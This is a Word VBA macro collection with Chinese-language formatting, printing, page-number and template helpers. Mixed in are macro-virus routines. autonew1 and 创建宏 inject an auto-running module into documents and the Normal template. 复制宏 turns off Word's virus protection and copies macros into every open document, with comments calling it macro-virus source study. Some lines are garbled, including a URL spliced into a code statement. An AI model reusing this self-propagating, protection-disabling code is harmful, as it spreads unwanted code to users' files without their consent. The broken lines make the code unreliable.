Sub autonew1()
Dim 存在, a, i, j, str
On Error Resume Next
For j = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(j).Name = "Liuhb" Then
      存在 = 1
      Exit Sub
    End If
Next j
If 存在 <> 1 Then
    ActiveDocument.VBProject.VBComponents.Add(1).Name = "Liuhb" ‘添加模块，1为用户模块
    Set a = ActiveDocument.VBProject.VBComponents.Item("Liuhb").CodeModule
    a.AddFromString ("Sub autoopen()" + VBA.Chr$(13) + "End sub")
    a.InsertLines 2, "On Error Resume Next"
    a.InsertLines 3, "Selection.InsertDateTime DateTimeFormat:=" + VBA.Chr(34) + "EEEE年O月A日" + VBA.Chr(34) + ", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese"
    NormalTemplate.Save
End If
End Sub
Sub 按钮有效()
Dim i As Integer
For i = 1 To CommandBars("formatting").Controls.Count     ‘格式工具栏
    CommandBars("formatting").Controls(i).Enabled = True   ‘按钮有效
Next i
For i = 3 To CommandBars("Standard").Controls.Count     ‘常用工具栏
    CommandBars("Standard").Controls(i).Enabled = True   ‘按钮有效
Next i
CommandBars("Custom Popup 8068093").Enabled = True
End Sub
Sub 缩小字距()
    Dim b
    On Error Resume Next
    ActiveDocument.Compatibility(wdSpacingInWholePoints) = False        ‘不按点阵缩放字距
    If Selection.Font.Spacing = 9999999 Then     ‘当字距不等时,此值为9999999
        For b = 1 To Selection.Characters.Count ‘得到所选字符总数
            Selection.Characters(b).Font.Spacing = Selection.Characters(b).Font.Spacing - 0.1 ‘为每个字符更改字距
        Next b
    Else
        Selection.Font.Spacing = Selection.Font.Spacing - 0.1
    End If
End Sub
Sub 增大字距()
    On Error Resume Next
    ActiveDocument.Compatibility(wdSpacingInWholePoints) = False        ‘不按点阵缩放字距
    Dim b
    If Selection.Font.Spacing = 9999999 Then     ‘当字距不等时,此值为9999999
        For b = 1 To Selection.Characters.Count ‘得到所选字符总数
            Selection.Characters(b).Font.Spacing = Selection.Characters(b).Font.Spacing + 0.1 ‘为每个字符更改字距
        Next b
    Else
        Selection.Font.Spacing = Selection.Font.Spacing + 0.1
    End If
End Sub
Sub 缩小行距()
    Dim b
    On Error Resume Next
    StatusBar = "老刘郑重提示: 该命令会取消行自动对齐到行网格！"
    With Selection.ParagraphFormat
      .AutoAdjustRightIndent = False          ‘不自动调整右缩进
      .DisableLineHeightGrid = True           ‘不自动对齐行网格
    End With
    If Selection.ParagraphFormat.LineSpacing = 9999999 Then
        For b = 1 To Selection.Paragraphs.Count
            Selection.Paragraphs(b).LineSpacing = Selection.Paragraphs(b).LineSpacing * 0.95
        Next b
    Else
        Selection.ParagraphFormat.LineSpacing = Selection.ParagraphFormat.LineSpacing * 0.95
    End If
End Sub
Sub 增大行距()
    Dim b
    On Error Resume Next
    StatusBar = "老刘郑重提示: 该命令会取消行自动对齐到行网格！"
    With Selection.ParagraphFormat
      .AutoAdjustRightIndent = False          ‘不自动调整右缩进
      .DisableLineHeightGrid = True           ‘不自动对齐行网格
    End With
    If Selection.ParagraphFormat.LineSpacing = 9999999 Then   ‘当段落间距不等时,此值为9999999
        For b = 1 To Selection.Paragraphs.Count               ‘得到所选段落总数
            Selection.Paragraphs(b).LineSpacing = Selection.Paragraphs(b).LineSpacing * 1.05
        Next b
    Else
        Selection.ParagraphFormat.LineSpacing = Selection.ParagraphFormat.LineSpacing * 1.05
    End If
End Sub
Sub 等高变宽()
    On Error Resume Next
    Selection.Font.Scaling = Selection.Font.Scaling + 1
End Sub
Sub 等高变窄()
    On Error Resume Next
    Selection.Font.Scaling = Selection.Font.Scaling - 1
End Sub
Sub 字表间距()
    On Error Resume Next
    ActiveDocument.Compatibility(wdAlignTablesRowByRow) = False
    Selection.Tables(1).Select
    With Selection.Borders(wdBorderTop)
        .LineStyle = wdLineStyleSingle
        .LineWidth = wdLineWidth150pt
        .Color = Options.DefaultBorderColor
    End With
    With Selection.Borders(wdBorderLeft)
        .LineStyle = wdLineStyleSingle
        .LineWidth = wdLineWidth150pt
        .Color = Options.DefaultBorderColor
    End With
    With Selection.Borders(wdBorderBottom)
        .LineStyle = wdLineStyleSingle
        .LineWidth = wdLineWidth150pt
        .Color = Options.DefaultBorderColor
    End With
    With Selection.Borders(wdBorderRight)
        .LineStyle = wdLineStyleSingle
        .LineWidth = wdLineWidth150pt
        .Color = Options.DefaultBorderColor
    End With
    On Error GoTo a:
    Selection.Tables(1).Rows.Alignment = wdAlignRowCenter
    Selection.Cells.VerticalAlignment = wdCellAlignVerticalCenter
    Selection.Rows.SpaceBetweenColumns = 0
    Selection.Tables(1).AllowAutoFit = False
a:
    If Err = 4605 Then
       MsgBox "当前位置不在表格中,请重新定义。", vbInformation, "刘厚彬现在轻轻地告诉你"
    End If
End Sub
Sub 表格帮助()
On Error Resume Next
Dim TC%, TR%, FC%, LC%, FR%, LR%, dummy%, Row%, CoL%
Dim FCT&, LCT&
Dim Q1Dbl$, Q2Dbl$
Dim Msg1$, Msg2$, Msg3$, Msg4$, Msg5$, Msg6$, Title$
Msg3$ = "选定的内容必需在一个表格中"
Msg6$ = "我还无法知道列行的总数，因为有些单元格被合并或拆分"
Title$ = "让我轻轻地告诉你"
If Application.Documents.Count Then
    If Selection.Information(wdWithInTable) Then
        CoL = Selection.Information(wdMaximumNumberOfColumns)
        Row = Selection.Information(wdMaximumNumberOfRows)
        FC = Selection.Information(wdStartOfRangeColumnNumber)
        LC = Selection.Information(wdEndOfRangeColumnNumber)
        FR = Selection.Information(wdStartOfRangeRowNumber)
        LR = Selection.Information(wdEndOfRangeRowNumber)
        FCT = FC / 26
        Select Case FCT            ‘得到开始列的高位如"AB12"中的"A"
            Case 0 To 1
                Q1Dbl = ""
            Case Is <= 2
                Q1Dbl = "A"
                FC = FC - 26
            Case Else
                Q1Dbl = "B"
                FC = FC - 52
        End Select
        LCT = LC / 26
        Select Case LCT            ‘得到结束列的高位
            Case 0 To 1
                Q2Dbl = ""
            Case Is <= 2
                Q2Dbl = "A"
                LC = LC - 26
            Case Else
                Q2Dbl = "B"
                LC = LC - 52
        End Select
        Msg1$ = "单元格在 " & Q1Dbl & VBA.Chr$(Val(FC) + 64) & ":" & LR & "."
        Msg2$ = "选定单元格的范围为： " & Q1Dbl & VBA.Chr$(Val(FC) + 64) & FR & ":" & Q2Dbl & VBA.Chr$(Val(LC) + 64) & LR & "."
        Msg5$ = "表格共有 " & CoL & " 列 " & Row & " 行。"
        If FC = LC And FR = LR Then
            dummy = MsgBox(Msg1$ & " " & Msg5$, vbOKOnly, Title$)
        Else
            dummy = MsgBox(Msg2$ & " " & Msg5$, vbOKOnly, Title$)
        End If
    Else
        dummy = MsgBox(Msg3$, vbOKOnly, Title$)
    End If
    On Error GoTo TError
End If
Exit Sub
TError:
If Err = 5992 Then
    dummy = MsgBox(Msg6$, vbOKOnly, Title$)
End If
Resume Next
End Sub
Sub 减少段前距()
    Dim b
    On Error Resume Next
    Selection.ParagraphFormat.SpaceBeforeAuto = False
    If Selection.ParagraphFormat.SpaceBefore = 9999999 Then
        For b = 1 To Selection.Paragraphs.Count
            If Selection.Paragraphs(b).SpaceBefore >= 1 Then
                Selection.Paragraphs(b).SpaceBefore = Selection.Paragraphs(b).SpaceBefore - 1
            End If
        Next b
    Else
        If Selection.ParagraphFormat.SpaceBefore >= 1 Then
            Selection.ParagraphFormat.SpaceBefore = Selection.ParagraphFormat.SpaceBefore - 1
        End If
    End If
End Sub
Sub 增加段前距()
    Dim b
    On Error Resume Next
    Selection.ParagraphFormat.SpaceBeforeAuto = False
    If Selection.ParagraphFormat.SpaceBefore = 9999999 Then
        For b = 1 To Selection.Paragraphs.Count
            If Selection.Paragraphs(b).SpaceBefore <= 1584 Then
                Selection.Paragraphs(b).SpaceBefore = Selection.Paragraphs(b).SpaceBefore + 1
            End If
        Next b
    Else
        If Selection.ParagraphFormat.SpaceBefore <= 1584 Then
            Selection.ParagraphFormat.SpaceBefore = Selection.ParagraphFormat.SpaceBefore + 1
        End If
    End If
End Sub
Sub 减少段后距()
    Dim b
    On Error Resume Next
    Selection.ParagraphFormat.SpaceAfterAuto = False
    If Selection.ParagraphFormat.SpaceAfter = 9999999 Then
        For b = 1 To Selection.Paragraphs.Count
            If Selection.Paragraphs(b).SpaceAfter >= 1 Then
                Selection.Paragraphs(b).SpaceAfter = Selection.Paragraphs(b).SpaceAfter - 1
            End If
        Next b
    Else
        If Selection.ParagraphFormat.SpaceAfter >= 1 Then
            Selection.ParagraphFormat.SpaceAfter = Selection.ParagraphFormat.SpaceAfter - 1
        End If
    End If
End Sub
Sub 增加段后距()
    Dim b
    On Error Resume Next
    Selection.ParagraphFormat.SpaceAfterAuto = False
    If Selection.ParagraphFormat.SpaceAfter = 9999999 Then
        For b = 1 To Selection.Paragraphs.Count
            If Selection.Paragraphs(b).SpaceAfter <= 1584 Then
                Selection.Paragraphs(b).SpaceAfter = Selection.Paragraphs(b).SpaceAfter + 1
            End If
        Next b
    Else
        If Selection.ParagraphFormat.SpaceAfter <= 1584 Then
            Selection.ParagraphFormat.SpaceAfter = Selection.ParagraphFormat.SpaceAfter + 1
        End If
    End If
End Sub
Sub 插入单位()
On Error Resume Next
Frm单位.Show 0
End Sub
Sub 大字打印()
On Error Resume Next
Frm大字打印.Show 0
End Sub
Sub 编号()
On Error Resume Next
Frm编号.Show 0
End Sub
Sub 行尾间距()
On Error Resume Next
Frm行尾间距.Show 0
End Sub
Sub 纵向16开()
‘ With ActiveDocument.Range(Start:=Selection.Start, End:=ActiveDocument. _
    Content.End).PageSetup              ‘插入点之后
‘With ActiveDocument.PageSetup        ‘整篇文档
With Selection.PageSetup              ‘本节
    .Orientation = wdOrientPortrait     ‘纵向
    .TopMargin = MillimetersToPoints(24)
    .BottomMargin = MillimetersToPoints(25)
    .LeftMargin = MillimetersToPoints(28)
    .RightMargin = MillimetersToPoints(25)
    .FooterDistance = MillimetersToPoints(21)
    .PageWidth = MillimetersToPoints(196)
    .PageHeight = MillimetersToPoints(270)
    .FirstPageTray = wdPrinterDefaultBin
    .OtherPagesTray = wdPrinterDefaultBin
End With
End Sub
Sub 打印为PDF格式文件()
On Error GoTo c:
Dim a As Balloon
Dim b As String
b = ActivePrinter
Options.PrintDrawingObjects = True ‘打印图形对象
ActivePrinter = "Acrobat PDFWriter"
ActiveDocument.PrintOut
c:
ActivePrinter = b
End Sub
Sub 插入页码()
    Dim fstpg As Byte
    Dim mydialog As Dialog
    Dim a As String
    On Error Resume Next
    fstpg = 1
    ActiveWindow.View.ShowFieldCodes = False ‘隐藏窗口域代码
    Set mydialog = Dialogs(wdDialogInsertPageNumbers)
    If mydialog.Display = -1 Then             ‘-2关闭；-1确定；0取消；1第一个按钮，2第二个按钮，以此类推。
      If mydialog.firstpage = False Then      ‘判断首页是否打印页码
        mydialog.firstpage = True
        fstpg = False
      End If
      mydialog.Execute
      ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter   ‘切换到页脚
      Selection.SetRange Start:=0, End:=4     ‘选定前3个字符文本
      If VBA.Mid$(Selection.text, 1, 1) <> "—" Then
        Selection.EndKey Unit:=wdLine
        Selection.TypeText text:=" —"
        Selection.MoveLeft Unit:=wdCharacter, Count:=5
        Selection.TypeText text:="— "
        Selection.ParagraphFormat.CharacterUnitRightIndent = 0.75
        Selection.ParagraphFormat.CharacterUnitFirstLineIndent = 1.19
      End If
      If fstpg = False Then
        mydialog.firstpage = False
        mydialog.Execute                      ‘首页不显示页码
      End If
      ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
    End If
End Sub
Sub 朗读文本()
    On Error Resume Next
    StatusBar = "老刘郑重提示: 执行该命令后文本如果未朗读完将不能进行其他操作！"
    Excel.Application.Speech.Speak (ActiveWindow.Selection)
End Sub
Sub 打印当前页()
On Error Resume Next
If ActivePrinter = "hp1015双面" Then ActivePrinter = "hp1015单面"
Application.PrintOut Range:=wdPrintCurrentPage
End Sub
Sub 打印当前节()
On Error Resume Next
Application.PrintOut Range:=wdPrintRangeOfPages, pages:="s" & Selection.Information(wdActiveEndSectionNumber)
End Sub
Sub 打印为16开()
Dim prn16k As Dialog
On Error Resume Next
Set prn16k = Dialogs(wdDialogFilePrint)
StatusBar = "老刘郑重提示: 执行该命令后页面内容将自动适应16K纸张！"
If prn16k.Display(5000) = -1 Then      ‘停留五秒
    prn16k.PrintZoomPaperWidth = 11164
    prn16k.PrintZoomPaperHeight = 15479
    prn16k.Execute
End If
End Sub
Sub 打印为A4()
Dim prnA4 As Dialog, a As Long
On Error Resume Next
StatusBar = "老刘郑重提示: 执行该命令后页面内容将自动适应A4纸张！"
Set prnA4 = Dialogs(wdDialogFilePrint)
If prnA4.Display(5000) = -1 Then      ‘停留五秒
    prnA4.PrintZoomPaperWidth = 11905
    prnA4.PrintZoomPaperHeight = 16838
    prnA4.Execute
End If
End Sub

Sub 不打印图()
On Error Resume Next
Options.PrintDrawingObjects = False
StatusBar = "老刘郑重提示: 该命令将不会打印文档中的图形对像！"
Dialogs(wdDialogFilePrint).Show
Options.PrintDrawingObjects = True
End Sub
Sub 党委文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\党委文件.dot"
End Sub
Sub 政府文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\政府文件.dot"
End Sub
Sub 会议纪要()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\会议纪要.dot"
End Sub
Sub 纪委文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\纪委文件.dot"
End Sub
Sub 人大文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\人大文件.dot"
End Sub
Sub 模板位置()
On Error Resume Next
Selection.TypeText text:=Options.DefaultFilePath(wdUserTemplatesPath)
End Sub
Sub 自动更正列表位置()
On Error Resume Next
Selection.TypeText text:="C:\Documents and Settings\Owner\Application Data\Microsoft\Office\MSO1033.acl"
End Sub
Sub 删除页码()
On Error Resume Next
If MsgBox("此命令将删除所有页面的页码！" & VBA.Chr(13) & "如果只删除首页页码请在插入页码中取消“首页显示页码”；" & VBA.Chr(13) & "如果屏蔽当前页页码，请用白色矩形框遮挡！", vbOKCancel, "注意") = vbOK Then
    ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter   ‘切换到页脚
    Selection.WholeStory
    Selection.Delete
    ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
End If
End Sub
Sub 防止调整表格宽度时表格不规则()
On Error Resume Next
ActiveDocument.Compatibility(wdAlignTablesRowByRow) = False
End Sub
Sub 插入日期()
On Error Resume Next
Selection.InsertDateTime DateTimeFormat:="EEEE年O月A日", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese
End Sub
Sub 大写金额()
Dim BigNum, snum, i, mydata As DataObject
On Error GoTo e
Set mydata = http://www.mamicode.com/New DataObject
BigNum = ""
snum = Selection.text
If IsNumeric(snum) = False Then
    mydata.GetFromClipboard             ‘从剪切板取值
    snum = mydata.GetText(1)
End If
snum = VBA.Trim(VBA.str(Int(Round(snum, 2) * 100)))
If snum < 0 Then snum = -snum: BigNum = "负"
If snum = 0 Then
    BigNum = "零元整"
Else
    Const cNum = "零壹贰叁肆伍陆柒捌玖-万仟佰拾亿仟佰拾万仟佰拾元角分"
    Const cCha = "零仟零佰零拾零零零零零亿零万零元亿万零角零分零整-零零零零零亿万元亿零整整"
      For i = 1 To Len(snum) ‘逐位转换
        BigNum = BigNum + VBA.Mid(cNum, (VBA.Mid(snum, i, 1)) + 1, 1) + VBA.Mid(cNum, 26 - Len(snum) + i, 1)
      Next i
      BigNum = Replace(BigNum, "零亿", "亿零")
      BigNum = Replace(BigNum, "零万", "万零")
      BigNum = Replace(BigNum, "零元", "元零")
      For i = 0 To 11 ‘去掉多余的零
        BigNum = Replace(BigNum, VBA.Mid(cCha, i * 2 + 1, 2), VBA.Mid(cCha, i + 26, 1))
      Next i
   End If
   Selection.MoveRight
   Selection.TypeText text:=BigNum
   End
e:
   MsgBox "你输入数字错误或太大!请重新输入。", vbExclamation + vbOKOnly, "提示"
End Sub
Sub 复制宏()
    Dim file$
    Dim ans$
    Dim Test
    Dim mItem
    Dim cItem
    Dim adoc
    Dim aTemp
    Dim anormal
    Dim vset
    Dim Iset
    Dim ad
    Dim newmodule
  
    file$ = WordBasic.[MacroFileName$]()
    Options.VirusProtection = False        ‘关闭病毒保护
    ‘ActiveDocument.VBProject.VBComponents.Add(1).Name = "中国" ‘调试成功
    ‘Documents("宏病毒源码学习.doc").VBProject.VBComponents.Add(1).Name = "中国" ‘调试成功
      ‘使用VBProject.VBComponents必须修改宏安全性信任，add参数1表示添加模块，2表示添加类模块
    ‘Application.OrganizerRename Source:=file, Name:="newmacros", newname:="qqqqq", Object:=wdOrganizerObjectProjectItems ‘调试成功
      ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString "11111"              ‘1为文档对象，2为模块对象，3为类模块对象
Application.OrganizerCopy file$, "F:\Mydoc\我的文档\My 2005Doc\宏病毒源码学习.doc", Name:="newmacros", Object:=wdOrganizerObjectProjectItems
   
      For Each adoc In Documents             ‘扫描文档
      For Each ad In newmodule
        Iset = ad.Name
      Next ad
     
      ‘newmodule.
        For Each cItem In adoc.VBProject.VBComponents           ‘扫描文档中的宏模块名称
          If (cItem.Name = "a") Then
            vset = 1
          End If
        Next cItem
        Stop
          WordBasic.MacroCopy file$ + ":NewMacros", ActiveDocument.FullName + ":newmodule"
       
      Next adoc
WordBasic.MacroCopy ActiveDocument.FullName + ":newmacros", "adoc.doc:newmacros"
End Sub
Sub 添加按钮并指定宏()
If CommandBars("insert").Controls(3).Caption <> "删除页码" Then
    CommandBars("Insert").Controls.Add Type:=msoControlButton, Before:=3
    CommandBars("insert").Controls(3).Caption = "删除页码"
    CommandBars("insert").Controls(3).OnAction = "NewMacros.删除页码"
End If
End Sub
Sub 创建宏()
Dim 存在, a, i, j, str
On Error Resume Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(j).Name = "Liuhb" Then
      存在 = 1
      Exit Sub
    End If
Next j
If 存在 <> 1 Then
    NormalTemplate.VBProject.VBComponents.Add(1).Name = "Liuhb" ‘添加模块，1为用户模块
    Set a = NormalTemplate.VBProject.VBComponents.Item("Liuhb").CodeModule
    a.AddFromFile "c:\ls.txt"
    ‘a.AddFromString ("Sub 插入日期()" + VBA.Chr$(13) + "End sub")
    ‘a.InsertLines 2, "On Error Resume Next"
    ‘a.InsertLines 3, "Selection.InsertDateTime DateTimeFormat:=" + VBA.Chr(34) + "EEEE年O月A日" + VBA.Chr(34) + ", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese"
    NormalTemplate.Save
End If
End Sub
Sub 另存到优盘()
Dim doc As Document
On Error GoTo e
Set doc = Documents.Open(NormalTemplate.FullName, AddToRecentFiles:=False, Visible:=False)
‘必须打开模板才能修改变量,修改后也要使用addtorecentfiles:=False参数隐藏显示在文件菜单底部，Visible:=False隐藏方式打开
ActiveDocument.SaveAs (doc.Variables("优盘盘符") + ":" + ActiveDocument.Name)
doc.Close
End
e:
If Err() = 5156 Then
    Fr盘符.Show 0
End If
End Sub
Sub 计算递增量()
Frm递增计算.Show 0
‘InStr(VBA.str(i), "4") = 0 Then
End Sub
Sub 打印记录()
Frm打印记录.Show 0
End Sub
Sub 不自动调整表格列宽()
Selection.Tables(1).AllowAutoFit = False
End Sub
Sub Macro2()
    ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 80.7, _
        746.7, 443.3, 39.15).Select
    Selection.ShapeRange.TextFrame.TextRange.Select
    Selection.Collapse
    Selection.ShapeRange.Line.Visible = msoFalse
    Selection.ShapeRange.Fill.Visible = msoFalse
    Selection.ShapeRange.Select
    Selection.ShapeRange.IncrementTop -4.35
    Selection.Font.Size = 9
    Selection.Font.Name = "Times New Roman"
    Selection.Font.Name = "宋体"
    Selection.ParagraphFormat.Space1
    Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
    Selection.TypeText text:="我是一个兵，来自老百姓。"
End Sub
Sub 删除节页码()
On Error Resume Next
With Selection.Sections(1).Headers(1).PageNumbers
    .RestartNumberingAtSection = True
    .StartingNumber = 0
End With
Selection.Sections(1).Footers(1).PageNumbers.Add firstpage:=0
End Sub
Sub 在每页加名言()
Dim a, b, c, d, e, f, i
Set a = Dialogs(wdDialogFileOpen)
a.Name = "*.txt"
a.Display
b = VBA.CurDir() & "" & a.Name
Set c = CreateObject("Scripting.FileSystemObject")
Set d = c.opentextfile(b)
For i = 1 To Selection.Information(wdActiveEndPageNumber)
    Selection.GoTo What:=wdGoToPage, Which:=wdGoToFirst, Count:=i, Name:=""
    ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 80.7, 746.7, 443.3, 39.15).Select
    Selection.ShapeRange.TextFrame.TextRange.Select
    Selection.Collapse
    Selection.ShapeRange.Line.Visible = msoFalse
    Selection.ShapeRange.Fill.Visible = msoFalse
    Selection.ShapeRange.Select
    Selection.ShapeRange.IncrementTop -4.35
    Selection.Font.Size = 9
    Selection.Font.Name = "Times New Roman"
    Selection.Font.Name = "宋体"
    Selection.ParagraphFormat.Space1
    Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
    Selection.TypeText text:=d.readline
Next i
d.Close
End Sub

Sub 将所有文档保为htm()
Dim file, a, 所在文档目录, 保存目录

所在目录 = "D:\Mydocument"
保存目录 = "F:"

file = Dir("所在目录" & "")

Do
    If VBA.Right(file, 4) = ".doc" Then
      Documents.Open ("所在目录" + "" + file)
      ActiveDocument.SaveAs FileName:=保存目录 & ActiveDocument.Name & ".htm", FileFormat:=wdFormatHTML
      ActiveDocument.Close
    End If
    file = Dir
Loop While file <> ""

End Sub